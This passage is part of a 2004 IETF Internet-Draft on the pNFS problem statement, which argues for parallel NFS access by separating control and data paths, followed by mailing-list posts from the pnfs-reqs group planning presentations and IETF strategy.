system be accessible through a single exported network endpoint, constraining access to be through a single NFS server. A better way of increasing the bandwidth to a single file system is to enable access to be provided through multiple endpoints in a coordinated or coherent fashion. Separation of control and data flows provides a straightforward framework to accomplish this, by allowing transfers of data to proceed in parallel from many clients to many data storage endpoints. Control and file management operations, inherently more difficult to parallelize, can remain the province of a single NFS server, inheriting the simple management of today's NFS file service, while offloading data transfer operations allows bandwidth scalability. Data transfer may be done using NFS or other protocols, such as iSCSI. While NFS is a widely used network file system protocol, most of the world's data resides in data stores that are not accessible through NFS. Much of this data is stored in Storage Area Networks, accessible by SCSI's Fibre Channel Protocol (FCP), or increasingly, by iSCSI. Storage Area Networks routinely provide much higher data bandwidths than do NFS file servers. Unfortunately, the simple array of blocks interface into Storage Area Networks does not lend itself to controlling multiple clients that are simultaneously reading and Gibson et al Expires - August 2004 [Page 3] Internet Draft pNFS Problem Statement February 2004 writing the blocks of the same or different files, a workload usually referred to as data sharing. NFS file service, with its hierarchical namespace of separately controlled files, offers simpler and more cost-effective management. One might conclude that users must chose between high bandwidth and data sharing. Not only is this conclusion false, but it should also be possible to allow data stored in SAN devices, FCP or iSCSI, to be accessed under the control of an NFS server. Such an approach protects the industry's large investment in NFS, since the bandwidth bottleneck no longer needs to drive users to adopt a proprietary alternative solution, and leverages SAN storage infrastructures, all within a common architectural framework. 2. Bandwidth Scaling in Clusters When applied to data-intensive applications, clusters can generate unprecedented demand for storage bandwidth. At present, each node in the cluster is likely to be a dual processor, with each processor running at multiple GHz, with gigabytes of DRAM. Depending on the specific application, each node is capable of sustaining a demand of 10s to 100s of MB/s of data from storage. In addition, the number of nodes in a cluster is commonly in the 100s, with many instances of 1000s to 10,000s of nodes. The result is that storage systems may be called upon to provide an aggregate bandwidth of GB/s ranging upwards toward TB/s. The performance of a single NFS server has been improving, but it is not able to keep pace with cluster demand. Directly connected storage devices behind an NFS server have given way to disk arrays and networked disk arrays, making it now possible for an NFS server to directly access 100s to 1000s of disk drives whose aggregate capacity reaches upwards to PBs and whose raw bandwidths range upwards to 10s of GB/s. An NFS server is interposed between the scalable storage subsystem and the scalable client cluster. Multiple NIC endpoints help network bandwidth keep up with DRAM bandwidth. However, the rate of improvement of NFS server performance is not faster than the rate of improvement in each client node. As long as an NFS file system is associated with a single client-side network endpoint, the aggregate capabilities of a single NFS server to move data between storage networks and client networks will not be able to keep pace with the aggregate demand of clustered clients and large disk subsystems. 3. Clustered Applications Large datasets and high bandwidth processing of large datasets are increasingly common in a wide variety of applications. As most Gibson et al Expires - August 2004 [Page 4] Internet Draft pNFS Problem Statement February 2004 computer users can affirm, the size of everyday presentations, pictures and programs seems to grow continuously, and in fact average file size does grow with time [Ousterhout85, Baker91]. Simple copying, viewing, archiving and sharing of even this baseline use of growing files in day-to-day business and personal computing drives up the bandwidth demand on servers. Some applications, however, make much larger demands on file and file system capacity and bandwidth. Databases of DNA sequences, used in bioinformatics search, range up to tens of GBs and are often in use by all cluster users are the same time [NIH03]. These huge files may experience bursts of many concurrent clients loading the whole file independently. Bioinformatics is an example of extensive search in science application. Extensive search is much broader than science. Wall Street has taken to collecting long-term transaction record histories. Looking for patterns of unbilled transactions, fraud or predictable market trends is a growing financial opportunity [Agarwal95, Senator95]. Security and authentication are driving a need for image search, such as face recognition [Flickner95]. Databasing the faces of approved or suspected individuals and searching through many camera feeds involves huge data and bandwidths. Traditional database indexing in these high dimension data structures often fails to avoid full database scans of these huge files [Berchtold97]. With huge storage repositories and fast computers, huge sensor capture is increasingly used in many applications. Consumer digital photography fits this model, with photo touch-up and slide show generation tools driving bandwidth, although much more demanding applications are not unusual. Medical test imagery is being captured at very high resolution and tools are being developed for automatic preliminary diagnosis, for example [Afework98]. In the science world, even larger datasets are captured from satellites, telescopes, and atom-smashers, for example [Greiman97]. Preliminary processing of a sky survey suggests that thousand node clusters may sustain GB/s storage bandwidths [Gray03]. Seismic trace data, often measured in helicopter loads, commands large clusters for days to months [Knott03]. At the high end of science application, accurate physical simulation, its visualization and fault-tolerance checkpointing, has been estimated to need 10 GB/s bandwidth and 100 TB of capacity for every thousand nodes in a cluster [SGPFS01]. Gibson et al Expires - August 2004 [Page 5] Internet Draft pNFS Problem Statement February 2004 Most of these applications make heavy use of shared data across many clients, users and applications, have limited budgets available to fund aggressive computational goals, and have technical or scientific users with strong preferences for file systems and no patience for tuning storage. NFS file service, appropriately scaled up in capacity and bandwidth, is highly desired. In addition to these search, sensor and science applications, traditional database applications are increasingly employing NFS servers. These applications often have hotspot tables, leading to high bandwidth storage demands. Yet SAN-based solutions are sometimes harder to manage than NFS based solutions, especially in databases with a large number of tables. NFS servers with scalable bandwidth would accelerate the adoption of NFS for database applications. These examples suggest that there is no shortage of applications frustrated by the limitations of a single network endpoint on a single NFS server exporting a single file system or single huge file. 4. Existing File Systems for Clusters The server bottleneck has induced various vendors to develop proprietary alternatives to NFS. Known variously as asymmetric, out-of-band, clustered or SAN file systems, these proprietary alternatives exploit the scalability of storage networks by attaching all nodes in the client cluster to the storage network. Then, by reorganizing client and server code functionality to separate data traffic from control traffic, client nodes are able to access storage devices directly rather than requesting all data from the same single network endpoint in the file server that handles control traffic. Most proprietary alternative solutions have been tailored to storage area networks based on the fixed-sized block SCSI storage device command set and its Fibrechannel SCSI transport. Examples in this class include EMC's High Road (www.emc.com); IBM's TotalStorage SAN FS, SANergy and GPFS (www.ibm.com); Sistina/Redhat's GFS (www.readhat.com); SGI's CXFS (www.sgi.com); Veritas' SANPoint Direct and CFS (www.veritas.com); and Sun's QFS (www.sun.com). The Fibrechannel SCSI transport used in these systems may soon be replaceable by a TCP/IP SCSI transport, iSCSI, enabling these proprietary alternatives to operate on the same equipment and IETF protocols commonly used by NFS servers. While fixed-sized block SCSI storage devices are used in most file systems with separated data and control paths, this is not the only Gibson et al Expires - August 2004 [Page 6] Internet Draft pNFS Problem Statement February 2004 alternative available today. SCSI's newly emerging command set, the Object Storage Device (OSD) command set, transmits variable length storage objects over SCSI transports [T10-03]. Panasas' ActiveScale storage cluster employs a proto-OSD command set over iSCSI on its separated data path (www.panasas.com). IBM's research is also demonstrating a variant of their TotalStorage SAN FS employing proto- OSD commands [Azagury02]. Even more distinctive is Zforce's File Switch technology (www.zforce.com). Zforce virtualizes a CIFS file server spreading the contents of a file share over many backend CIFS storage servers and places their control path functionality inside a network switch in order to have some of the properties of both separated and non- separated data and control paths. However, striping files over multiple file-based storage servers is not a new concept. Berkeley's Zebra file system, the successor to the log-based file system developed for RAID storage, had a separated data and control path with file protocols to both [Hartman95]. 5. Eliminating the Bottleneck The restriction of a single network endpoint results from the way NFS associates file servers and file systems. Essentially, each client machine ""mounts"" each exported file system; these mount operations bind a network endpoint to all files in the exported file system, instructing the client to address that network endpoint with all requests associated with all files in that file system. Mechanisms intended for primarily for failover have been established for giving clients a list of network endpoints associated with a given file system. Multiple NFS servers can be used instead of a single NFS server, and many cluster administrators, programmers and end-users have experimented with this alternative. The principle compromise involved in exploiting multiple NFS servers is that a single file or single file system is decomposed into multiple files or file systems, respectively. For instance, a single file can be decomposed into many files, each located in a part of the namespace that is exported by a different NFS server; or the files of a single directory can be linked to files in directories located in file systems exported by different NFS servers. Because this decomposition is done without NFS server support, the work of decomposing and recomposing and the implications of the decomposition on capacity and load balancing, backup consistency, error recovery, and namespace management all fall to the customer. Moreover, the additional statefulness of NFSv4 makes correct semantics for files decomposed over multiple services without NFS support much more complex. Such extra work and extra problems are Gibson et al Expires - August 2004 [Page 7] Internet Draft pNFS Problem Statement February 2004 usually referred to as storage management costs, and are blamed for causing a high total cost of ownership for storage. Preserving the relative ease of use of NFS storage systems requires solutions to the bandwidth bottleneck that do not decompose files and directories in the file subtree namespace. A solution to this problem should continue to use the existing single network endpoint for control traffic, including namespace manipulations. Decompositions of individual files and file systems over multiple network endpoints can be provided via the separated data paths, without separating the control and metadata paths. 6. Separated control and data access techniques Separating storage data flow from file system control flow effectively moves the bottleneck away from the single endpoint of an NFS server and distributes it across the bisectional bandwidth of the storage network between the cluster nodes and storage devices. Since switch bandwidths of upwards of terabits per second are available today, this bottleneck is at least two orders of magnitude better than that of an NFS server network endpoint. In an architecture that separates the storage data path from the NFS control path there are choices of protocol for the data path. One straightforward answer is to extend the NFS protocol so it can accommodate can be used on both control and separated data paths. Another straightforward answer is to capture the existing market's dominant separated data path, fixed-sized block SCSI storage. A third alternative is the emerging object storage SCSI command set, OSD, which is appearing in new products with separate data and control paths. A solution that accommodates all of these approaches provides the broadest applicability for NFS. Specifically, NFS extensions should make minimal assumptions about the storage data server access protocol. The clients in such an extended NFS system should be compatible with the current NFSv4 protocol, and should be compatible with earlier versions of NFS as well. A solution should be capable of providing both asymmetric data access, with the data path connected via NFS or other protocols and transports, and symmetric parallel access to servers that run NFS on each server node. Specifically, it is desirable to enable NFS to manage asymmetric access to storage attached via iSCSI and Fibre Channel/SCSI storage area networks. As previously discussed, the root cause of the NFS server bottleneck is the binding between one network endpoint and all the files in a file system. NFS extensions can allow the association of additional Gibson et al Expires - August 2004 [Page 8] Internet Draft pNFS Problem Statement February 2004 network endpoints with specific files. These associations could be represented as layout maps [Gibson98]. NFS clients could be extended to have the ability to retrieve and use these layout maps. NFSv4 provides an excellent foundation for this. We may be able to extend the current notion of file delegations to include the ability to retrieve and utilize a file layout map. A number of ideas have been proposed for storing, accessing, and acting upon layout information stored by NFS servers to allow separate access to file data over separate data paths. Data access can be supported over multiple protocols, including NFSv4, iSCSI, and OSD. 7. Security Considerations Bandwidth scaling solutions that employ separation of control and data paths will introduce new security concerns. For example, the data access methods will require authentication and access control mechanisms that are consistent with the primary mechanisms on the NFSv4 control paths. Object storage employs revocable cryptographic restrictions on each object, which can be created and revoked in the control path. With iSCSI access methods, iSCSI security capabilities are available, but do not contain NFS access control. Fibre Channel based SCSI access methods have less sophisticated security than iSCSI. These access methods typically use private networks to provide security. Any proposed solution must be analyzed for security threats and any such threats must be addressed. The IETF and the NFS working group have significant expertise in this area. 8. Informative References [Afework98] A. Afework, M. Beynon, F. Bustamonte, A. Demarzo, R. Ferriera, R. Miller, M. Silberman, J. Saltz, A. Sussman, H. Tang, ""Digital dynamic telepathology - the virtual microscope,"" Proc. of the AMIA'98 Fall Symposium 1998. [Agarwal95] Agrawal, R. and Srikant, R. ""Fast Algorithms for Mining Association Rules"" VLDB, September 1995. [Azagury02] Azagury, A., Dreizin, V., Factor, M., Henis, E., Naor, D., Rinetzky, N., Satran, J., Tavory, A., Yerushalmi, L, ""Towards an Object Store,"" IBM Storage Systems Technology Workshop, November 2002. [Baker91] Baker, M.G., Hartman, J.H., Kupfer, M.D., Shirriff, K.W. and Ousterhout, J.K. ""Measurements of a Distributed File System"" SOSP, October 1991. Gibson et al Expires - August 2004 [Page 9] Internet Draft pNFS Problem Statement February 2004 [Berchtold97] Berchtold, S., Boehm, C., Keim, D.A. and Kriegel, H. ""A Cost Model For Nearest Neighbor Search in High-Dimensional Data Space"" ACM PODS, May 1997. [Fayyad98] Fayyad, U. ""Taming the Giants and the Monsters: Mining Large Databases for Nuggets of Knowledge"" Database Programming and Design, March 1998. [Flickner95] Flickner, M., Sawhney, H., Niblack, W., Ashley, J., Huang, Q., Dom, B., Gorkani, M., Hafner, J., Lee, D., Petkovic, D., Steele, D. and Yanker, P. ""Query by Image and Video Content: the QBIC System"" IEEE Computer, September 1995. [Gibson98] Gibson, G. A., et. al., ""A Cost-Effective, High-Bandwidth Storage Architecture,"" International Conference on Architectural Support for Programming Languages and Operating Systems (ASPLOS), October 1998. [Gray03] Jim Gray, ""Distributed Computing Economics,"" Technical Report MSR-TR-2003-24, March 2003. [Greiman97] Greiman, W., W. E. Johnston, C. McParland, D. Olson, B. Tierney, C. Tull, ""High-Speed Distributed Data Handling for HENP,"" Computing in High Energy Physics, April, 1997. Berlin, Germany. [Hartman95] John H. Hartman and John K. Ousterhout, ""The Zebra Striped Network File System,"" ACM Transactions on Computer Systems 13, 3, August 1995. [Knott03] Knott, T., ""Computing colossus,"" BP Frontiers magazine, Issue 6, April 2003, http://www.bp.com/frontiers. [NIH03] ""Easy Large-Scale Bioinformatics on the NIH Biowulf Supercluster,"" http://biowulf.nih.gov/easy.html, 2003. [Ousterhout85] Ousterhout, J.K., DaCosta, H., Harrison, D., Kunze, J.A., Kupfer, M. and Thompson, J.G. ""A Trace Drive Analysis of the UNIX 4.2 BSD FIle System"" SOSP, December 1985. [Senator95] Senator, T.E., Goldberg, H.G., Wooten, J., Cottini, M.A., Khan, A.F.U., Klinger, C.D., Llamas, W.M., Marrone, M.P. and Wong, R.W.H. ""The Financial Crimes Enforcement Network AI System (FAIS): Identifying potential money laundering from reports of large cash transactions"" AIMagazine 16 (4), Winter 1995. [SGPFS01] SGS File System RFP, DOE NNCA and DOD NSA, April 25, 2001. Gibson et al Expires - August 2004 [Page 10] Internet Draft pNFS Problem Statement February 2004 [T10-03] Draft OSD Standard, T10 Committee, Storage Networking Industry Association(SNIA), ftp://www.t10.org/ftp/t10/drafts/osd/osd-r08.pdf 9. Acknowledgments David Black, Gary Grider, Benny Halevy, Dean Hildebrand, Dave Noveck, Julian Satran, Tom Talpey, and Brent Welch contributed to the development of this problem statement. 10. Author's Addresses Garth Gibson Panasas Inc, and Carnegie Mellon University 1501 Reedsdale Street Pittsburgh, PA 15233 USA Phone: +1 412 323 3500 Email: ggibson@panasas.com Peter Corbett Network Appliance Inc. 375 Totten Pond Road Waltham, MA 02451 USA Phone: +1 781 768 5343 Email: peter@pcorbett.net 11. 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Gibson et al Expires - August 2004 [Page 12] >From Thomas.Talpey@netapp.com Tue Feb 10 09:27:36 2004 Return-Path: X-Sender: Thomas.Talpey@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 11044 invoked from network); 10 Feb 2004 17:27:33 -0000 Received: from unknown (66.218.66.166) by m13.grp.scd.yahoo.com with QMQP; 10 Feb 2004 17:27:33 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta5.grp.scd.yahoo.com with SMTP; 10 Feb 2004 17:27:32 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i1AHQXKw020644; Tue, 10 Feb 2004 09:26:33 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i1AHQWBr025977; Tue, 10 Feb 2004 09:26:32 -0800 (PST) Received: from tmt.netapp.com ([10.97.1.34]) by silver.hq.netapp.com with Microsoft SMTPSVC(5.0.2195.5329); Tue, 10 Feb 2004 12:26:21 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C3EFFA.FFDC5C80"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 content-class: urn:content-classes:message Date: Tue, 10 Feb 2004 09:25:25 -0800 Message-ID: <5.2.1.1.2.20040210122105.00c43e08@silver.nane.netapp.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: I-D ACTION:draft-gibson-pnfs-problem-statement-00.txt Thread-Index: AcPv+wA+PZxVNM4nRKmu+s4AMQ1+KQ== To: , ""Garth Gibson"" X-eGroups-Remote-IP: 198.95.226.53 From: ""Talpey, Thomas"" Subject: Fwd: I-D ACTION:draft-gibson-pnfs-problem-statement-00.txt X-Yahoo-Group-Post: member; u=44154239 X-Yahoo-Profile: tmtymailu Garth, if you haven't already, I think it would make sense for you to forward this to the nfsv4 wg alias, with the suggestion that it be discussed at the upcoming Korea meeting and the list. What's the status on putting together a presentation? Tom. > ---------- Forwarded Message ---------- >Subject: I-D ACTION:draft-gibson-pnfs-problem-statement-00.txt >Date: Mon, 9 Feb 2004 16:15:13 -0500 >From: >Reply-To: > >A New Internet-Draft is available from the on-line Internet-Drafts directories. > > > Title : pNFS Problem Statement > Author(s) : G. Gibson > Filename : draft-gibson-pnfs-problem-statement-00.txt > Pages : 12 > Date : 2004-2-9 > >This draft considers the problem of limited bandwidth to NFS servers. > The bandwidth limitation exists because an NFS server has limited > network, CPU, memory and disk I/O resources. Yet, access to any one > file system through the NFSv4 protocol requires that a single server > be accessed. While NFSv4 allows file system migration, it does not > provide a mechanism that supports multiple servers simultaneously > exporting a single writable file system. > > This problem has become aggravated in recent years with the advent of > very cheap and easily expanded clusters of application servers that > are also NFS clients. The aggregate bandwidth demands of such > clustered clients, typically working on a shared data set > preferentially stored in a single file system, can increase much more > quickly than the bandwidth of any server. The proposed solution is > to provide for the parallelization of file services, by enhancing > NFSv4 in a minor version. > >A URL for this Internet-Draft is: >http://www.ietf.org/internet-drafts/draft-gibson-pnfs-problem-statement-00.txt > >To remove yourself from the IETF Announcement list, send a message to >ietf-announce-request with the word unsubscribe in the body of the message. > >Internet-Drafts are also available by anonymous FTP. Login with the username >""anonymous"" and a password of your e-mail address. After logging in, >type ""cd internet-drafts"" and then > ""get draft-gibson-pnfs-problem-statement-00.txt"". > >A list of Internet-Drafts directories can be found in >http://www.ietf.org/shadow.html >or ftp://ftp.ietf.org/ietf/1shadow-sites.txt > > >Internet-Drafts can also be obtained by e-mail. > >Send a message to: > mailserv@ietf.org. >In the body type: > ""FILE /internet-drafts/draft-gibson-pnfs-problem-statement-00.txt"". > >NOTE: The mail server at ietf.org can return the document in > MIME-encoded form by using the ""mpack"" utility. To use this > feature, insert the command ""ENCODING mime"" before the ""FILE"" > command. To decode the response(s), you will need ""munpack"" or > a MIME-compliant mail reader. Different MIME-compliant mail readers > exhibit different behavior, especially when dealing with > ""multipart"" MIME messages (i.e. documents which have been split > up into multiple messages), so check your local documentation on > how to manipulate these messages. > > >Below is the data which will enable a MIME compliant mail reader >implementation to automatically retrieve the ASCII version of the >Internet-Draft. > > > ---------- End of Forwarded Message ---------- >From garth@panasas.com Wed Feb 11 16:11:10 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 92622 invoked from network); 12 Feb 2004 00:11:09 -0000 Received: from unknown (66.218.66.172) by m8.grp.scd.yahoo.com with QMQP; 12 Feb 2004 00:11:09 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta4.grp.scd.yahoo.com with SMTP; 12 Feb 2004 00:11:08 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSY3LX3; Wed, 11 Feb 2004 19:11:05 -0500 Mime-Version: 1.0 (Apple Message framework v612) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; format=flowed To: pnfs-reqs@yahoogroups.com Date: Wed, 11 Feb 2004 16:10:54 -0800 X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: concall tomorrow X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson We'll hold a concall tomorrow 11am EST. Agenda items can include: - we need to convert the problem statement into a presentation (our target was Feb 19) - we need to identify who is giving the presentation at Seoul, if our topic is given time - should we give it at Connectathon next week, and if so, who will give it (who is going?) - its time to get back to the original roles of the mailing lists: - a draft of a requirements doc - a draft of the operations we suggest for NFSv4 extension - a draft of the wire format of layout metadata for SBC (FC/SCSI) backends - a draft of the wire format of layout metadata for OSD backends - a draft of the wire format of layout metadata for NFS backends - get some milestones and dates beside the above garth >From garth@panasas.com Wed Feb 11 16:16:57 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 57531 invoked from network); 12 Feb 2004 00:16:56 -0000 Received: from unknown (66.218.66.167) by m20.grp.scd.yahoo.com with QMQP; 12 Feb 2004 00:16:56 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta6.grp.scd.yahoo.com with SMTP; 12 Feb 2004 00:16:55 -0000 Received: from [127.0.0.1] ([172.17.19.3]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSY3LY1; Wed, 11 Feb 2004 19:16:52 -0500 Mime-Version: 1.0 (Apple Message framework v612) To: pnfs-reqs@yahoogroups.com Message-Id: Content-Type: multipart/mixed; boundary=Apple-Mail-3--546444835 Date: Wed, 11 Feb 2004 16:16:42 -0800 X-Mailer: Apple Mail (2.612) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Fwd: [pnfs-reqs] RE: NEPS-REQS: getting started X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson Reminder -- David's note on the presentation we need for IETF, and his example. Begin forwarded message: > From: black_david@emc.com > Date: December 23, 2003 12:32:59 PM PST > To: pnfs-reqs@yahoogroups.com > Subject: [pnfs-reqs] RE: NEPS-REQS: getting started > Reply-To: pnfs-reqs@yahoogroups.com > > Garth Gibson wrote: > >>> The RDDP problem statement is similar and dissimilar to what we are >>> doing. It is similar in that it is about higher performance, which >>> always turns out to be cost-performance. It is dissimilar in that it >>> was fighting an uphill battle to get RDMA into the IETF, while we are >>> looking at no preconceived support or opposition in the IETF (that I >>> am aware of). And it is dissimilar in that what we are proposing >>> helps in the manageability of federated systems, which is not really >>> a >>> performance issue. >>> >>> I followed the RDDP example closely because it was easy -- our >>> arguments on strictly bandwidth are at least as strong, in my >>> opinion. >>> And because I am not certain how to predict the IETF management's >>> reaction to a manageability argument. And the standardized client >>> code argument, although very import to some of us, seemed outside my >>> notion of the IETF scope. >>> >>> Perhaps those with more experience selling ideas to the IETF could >>> educate us? Should we focus on a small number of the most easily >>> demonstrated problems or fill the problem statement out with all the >>> problems we can contribute to solving? > > Having been heavily involved in getting both IPS and RDDP work underway > in the IETF, I have a few observations: > > - A problem statement draft is a good thing to have, but the folks in > charge of the IETF are looking for a concise summary of what the > problem is, how to go about solving it, and **why** the IETF should > solve it. The latter is of particular importance, as I'll > explain shortly. > - I've attached a slide deck that I used for RDDP at the Spring 2002 > IETF BOF on this topic. This sort of ""elevator pitch"" style > coverage of the topics is needed in addition to the more in-depth > academic approach that is in the RDDP problem statement. > - Goals and battles need to be chosen carefully. One of the things > that delayed RDDP work is that the RDDP proponents were > absolutely > convinced that they needed to change TCP, and hence decided to go > to battle with the IETF Transport community which was equally > convinced that TCP should not be changed. In 20/20 hindsight, > this was a mistake, as the IETF Transport community turned out > to be correct that TCP does not require normative changes for RDDP. > - Nonetheless, there is somewhat of an ""uphill battle"" to be engaged, > as > Beepy and/or Spencer described in Ann Arbor - the IETF has grown to > a potentially unwieldy size, and as a consequence has developed a > healthy institutional bias against new work. As a result, it is > necessary to have good reasons not only for why work should be > done, but also why it should be done in the IETF. The fact that > we want to extend an existing IETF protocol (NFSv4) in a way that > can take advantage of another (iSCSI) provides at least two reasons. > Beyond this, there is value in drawing on the IETF's network > expertise > in areas such as security. > - A draft WG statement/scope of work is very important at an early > stage, > including not only what we want to do, but what we do *not* want to > do. I tend to view the latter as more important, as a shared view > of what will not be worked on is a significant sign that a technical > community has coalesced around a common effort and goals. For > example, > there are fairly strong statements about work that is out of scope > in > both the IPS and RDDP charters, and as a WG chair, I've found those > statements useful from time to time ... > > I hope this helps, > --David > ---------------------------------------------------- > David L. Black, Senior Technologist > EMC Corporation, 176 South St., Hopkinton, MA 01748 > +1 (508) 293-7953 FAX: +1 (508) 293-7786 > black_david@emc.com Mobile: +1 (978) 394-7754 > ---------------------------------------------------- > > > To unsubscribe from this group, send an email to: > pnfs-reqs-unsubscribe@yahoogroups.com > > > > ------------------------ Yahoo! Groups Sponsor > ---------------------~--> > Buy Ink Cartridges or Refill Kits for your HP, Epson, Canon or Lexmark > Printer at MyInks.com. Free s/h on orders $50 or more to the US & > Canada. > http://www.c1tracking.com/l.asp?cid=5511 > http://us.click.yahoo.com/mOAaAA/3exGAA/qnsNAA/W6uqlB/TM > --------------------------------------------------------------------- > ~-> > > Yahoo! Groups Links > > To visit your group on the web, go to: > http://groups.yahoo.com/group/pnfs-reqs/ > > To unsubscribe from this group, send an email to: > pnfs-reqs-unsubscribe@yahoogroups.com > > Your use of Yahoo! Groups is subject to: > http://docs.yahoo.com/info/terms/ > > Attachment (not stored) ROI-Problem-Scenario-0302.ppt Type: application/vnd.ms-powerpoint >From ggrider@lanl.gov Wed Feb 11 21:55:17 2004 Return-Path: X-Sender: ggrider@lanl.gov X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 3577 invoked from network); 12 Feb 2004 05:55:16 -0000 Received: from unknown (66.218.66.172) by m13.grp.scd.yahoo.com with QMQP; 12 Feb 2004 05:55:16 -0000 Received: from unknown (HELO mailwasher-b.lanl.gov) (192.16.0.25) by mta4.grp.scd.yahoo.com with SMTP; 12 Feb 2004 05:55:15 -0000 Received: from mailrelay3.lanl.gov (localhost.localdomain [127.0.0.1]) by mailwasher-b.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i1C5tEHR023258 for ; Wed, 11 Feb 2004 22:55:14 -0700 Received: from cic-mail.lanl.gov (localhost.localdomain [127.0.0.1]) by mailrelay3.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i1C5tEeI025221 for ; Wed, 11 Feb 2004 22:55:14 -0700 Received: from cthulu.lanl.gov (vpn-client-141.lanl.gov [128.165.253.141]) by cic-mail.lanl.gov (8.12.10/8.12.10/(ccn-5)) with ESMTP id i1C5t2Yi014519 for ; Wed, 11 Feb 2004 22:55:12 -0700 Message-Id: <5.2.0.9.2.20040211225331.015c28f0@cic-mail.lanl.gov> X-Sender: ggrider@cic-mail.lanl.gov X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Wed, 11 Feb 2004 22:55:03 -0700 To: pnfs-reqs@yahoogroups.com In-Reply-To: Mime-Version: 1.0 Content-Type: multipart/mixed; boundary=""=====================_9859727==_"" X-Scanned-By: MIMEDefang 2.35 X-eGroups-Remote-IP: 192.16.0.25 From: Gary Grider Subject: Re: Fwd: [pnfs-reqs] RE: NEPS-REQS: getting started X-Yahoo-Group-Post: member; u=169341185 X-Yahoo-Profile: ggriderpnfs elevator pitch Gary Attachment (not stored) pNFS-elevator-pitch.ppt Type: application/octet-stream >From pcorbett@netapp.com Thu Feb 12 07:22:44 2004 Return-Path: X-Sender: Peter.Corbett@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 66471 invoked from network); 12 Feb 2004 15:22:43 -0000 Received: from unknown (66.218.66.218) by m8.grp.scd.yahoo.com with QMQP; 12 Feb 2004 15:22:43 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta3.grp.scd.yahoo.com with SMTP; 12 Feb 2004 15:22:43 -0000 Received: from frejya.corp.netapp.com (frejya [10.57.157.119]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i1CFMIJC026157 for ; Thu, 12 Feb 2004 07:22:18 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by frejya.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i1CFMIiJ004972 for ; Thu, 12 Feb 2004 07:22:18 -0800 (PST) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Thu, 12 Feb 2004 07:22:13 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Fwd: [pnfs-reqs] RE: NEPS-REQS: getting started Thread-Index: AcPxLMx2H5E+soocRACCb74eZ9kJkQATki0A To: X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Corbett, Peter"" From: ""Corbett, Peter"" Subject: RE: Fwd: [pnfs-reqs] RE: NEPS-REQS: getting started X-Yahoo-Group-Post: member; u=44152959 X-Yahoo-Profile: pfcorbett2004 The slides mention server bypass twice, but don't talk about parallel access. Our problem statement is much more focussed on parallel access. We are trying to define a standard for parallel access, whether that is to nfs based data servers, object servers, virtualized SAN or non-virtualized SAN devices. So, I think we need to be clearer when talking about bypassing the server that we are really talking about direct access to a parallel data store from clustered clients, with a shared NFS server acting as a metadata server. To me, that is the key point that applies across the entire solution space, whereas direct access to devices is a data access technique in part of the solution space. -----Original Message----- From: Gary Grider [mailto:ggrider@lanl.gov] Sent: Thursday, February 12, 2004 12:55 AM To: pnfs-reqs@yahoogroups.com Subject: Re: Fwd: [pnfs-reqs] RE: NEPS-REQS: getting started elevator pitch Gary Yahoo! Groups Links >From margaret.susairaj@oracle.com Thu Feb 12 07:33:55 2004 Return-Path: X-Sender: Margaret.Susairaj@oracle.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 94736 invoked from network); 12 Feb 2004 15:33:53 -0000 Received: from unknown (66.218.66.217) by m20.grp.scd.yahoo.com with QMQP; 12 Feb 2004 15:33:53 -0000 Received: from unknown (HELO agminet02.oracle.com) (141.146.126.229) by mta2.grp.scd.yahoo.com with SMTP; 12 Feb 2004 15:33:53 -0000 Received: from rgmgw4.us.oracle.com (rgmgw4.us.oracle.com [138.1.191.13]) by agminet02.oracle.com (Switch-3.1.2/Switch-3.1.0) with ESMTP id i1CFVEcq006415 for ; Thu, 12 Feb 2004 07:31:52 -0800 Received: from rgmgw4.us.oracle.com (localhost [127.0.0.1]) by rgmgw4.us.oracle.com (Switch-2.1.5/Switch-2.1.0) with ESMTP id i1CFVDb23530 for ; Thu, 12 Feb 2004 08:31:13 -0700 (MST) Received: from oracle.com (dhcp-amer-vpn-gw2-east-141-144-81-15.vpn.oracle.com [141.144.81.15]) by rgmgw4.us.oracle.com 